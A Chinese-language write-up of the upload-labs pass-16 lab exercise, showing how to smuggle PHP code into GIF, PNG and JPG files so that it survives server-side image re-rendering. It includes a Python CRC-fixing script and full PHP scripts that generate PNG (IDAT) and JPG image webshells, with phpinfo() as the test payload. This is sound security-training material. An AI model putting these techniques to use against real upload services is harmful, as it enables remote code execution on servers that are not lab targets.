前記
upload-labs,是一個關於文件上傳的靶場.具體的write-up社區里也都有文章.
不過我在看了pass-16的源碼后,發現了一些有意思的東西.
分析問題
關於檢測gif的代碼
第71行檢測$fileext
和$filetype
是否為gif格式.
然后73行使用move_uploaded_file
函數來做判斷條件,如果成功將文件移動到$target_path
,就會進入二次渲染的代碼,反之上傳失敗.
在這里有一個問題,如果作者是想考察繞過二次渲染的話,在move_uploaded_file($tmpname,$target_path)
返回true的時候,就已經成功將圖片馬上傳到服務器了,所以下面的二次渲染並不會影響到圖片馬的上傳.如果是想考察文件后綴和content-type
的話,那么二次渲染的代碼就很多余.(到底考點在哪里,只有作者清楚.哈哈)
由於在二次渲染時重新生成了文件名,所以可以根據上傳后的文件名,來判斷上傳的圖片是二次渲染后生成的圖片還是直接由move_uploaded_file
函數移動的圖片.
我看過的writeup都是直接由move_uploaded_file
函數上傳的圖片馬.今天我們把move_uploaded_file
這個判斷條件去除,然后嘗試上傳圖片馬.
上傳gif
將<?php phpinfo(); ?>
添加到111.gif的尾部.
成功上傳含有一句話的111.gif,但是這並沒有成功.我們將上傳的圖片下載到本地.
可以看到下載下來的文件名已經變化,所以這是經過二次渲染的圖片.我們使用16進制編輯器將其打開.
可以發現,我們在gif末端添加的php代碼已經被去除.
關於繞過gif的二次渲染,我們只需要找到渲染前后沒有變化的位置,然后將php代碼寫進去,就可以成功上傳帶有php代碼的圖片了.
經過對比,藍色部分是沒有發生變化的,
我們將代碼寫到該位置.
上傳后在下載到本地使用16進制編輯器打開
可以看到php代碼沒有被去除.成功上傳圖片馬
上傳png
png的二次渲染的繞過並不能像gif那樣簡單.
png文件組成
png圖片由3個以上的數據塊組成.
PNG定義了兩種類型的數據塊,一種是稱為關鍵數據塊(critical chunk),這是標准的數據塊,另一種叫做輔助數據塊(ancillary chunks),這是可選的數據塊。關鍵數據塊定義了3個標准數據塊(IHDR,IDAT, IEND),每個PNG文件都必須包含它們.
數據塊結構
CRC(cyclic redundancy check)域中的值是對Chunk Type Code域和Chunk Data域中的數據進行計算得到的。CRC具體算法定義在ISO 3309和ITU-T V.42中,其值按下面的CRC碼生成多項式進行計算:
x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1
分析數據塊
IHDR
數據塊IHDR(header chunk):它包含有PNG文件中存儲的圖像數據的基本信息,並要作為第一個數據塊出現在PNG數據流中,而且一個PNG數據流中只能有一個文件頭數據塊。
文件頭數據塊由13字節組成,它的格式如下圖所示。
PLTE
調色板PLTE數據塊是輔助數據塊,對於索引圖像,調色板信息是必須的,調色板的顏色索引從0開始編號,然后是1、2……,調色板的顏色數不能超過色深中規定的顏色數(如圖像色深為4的時候,調色板中的顏色數不可以超過2^4=16),否則,這將導致PNG圖像不合法。
IDAT
圖像數據塊IDAT(image data chunk):它存儲實際的數據,在數據流中可包含多個連續順序的圖像數據塊。
IDAT存放着圖像真正的數據信息,因此,如果能夠了解IDAT的結構,我們就可以很方便的生成PNG圖像
IEND
圖像結束數據IEND(image trailer chunk):它用來標記PNG文件或者數據流已經結束,並且必須要放在文件的尾部。
如果我們仔細觀察PNG文件,我們會發現,文件的結尾12個字符看起來總應該是這樣的:
00 00 00 00 49 45 4E 44 AE 42 60 82
寫入php代碼
在網上找到了兩種方式來制作繞過二次渲染的png木馬.
寫入PLTE數據塊
php底層在對PLTE數據塊驗證的時候,主要進行了CRC校驗.所以可以再chunk data域插入php代碼,然后重新計算相應的crc值並修改即可.
這種方式只針對索引彩色圖像的png圖片才有效,在選取png圖片時可根據IHDR數據塊的color type辨別.03
為索引彩色圖像.
- 在PLTE數據塊寫入php代碼.
- 計算PLTE數據塊的CRC
CRC腳本
import binascii
import re
png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)
''' PLTE crc '''
data = '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)
運行結果
526579b0
3.修改CRC值
4.驗證
將修改后的png圖片上傳后,下載到本地打開
寫入IDAT數據塊
這里有國外大牛寫的腳本,直接拿來運行即可.
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
運行后得到1.png.上傳后下載到本地打開如下圖
上傳jpg
這里也采用國外大牛編寫的腳本jpg_payload.php.
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
使用方法
准備
隨便找一個jpg圖片,先上傳至服務器然后再下載到本地保存為1.jpg
.
插入php代碼
使用腳本處理1.jpg
,命令php jpg_payload.php 1.jpg
使用16進制編輯器打開,就可以看到插入的php代碼.
上傳圖片馬
將生成的payload_1.jpg
上傳.
驗證
將上傳的圖片再次下載到本地,使用16進制編輯器打開
可以看到,php代碼沒有被去除.
證明我們成功上傳了含有php代碼的圖片.
需要注意的是,有一些jpg圖片不能被處理,所以要多嘗試一些jpg圖片.
后記
詢問了c0ny1, pass16預期考察的確實是二次渲染,原先的題目存在一些邏輯問題,現在bug已經修改了,感謝c0ny1師傅提供和維護upload-labs這個靶場.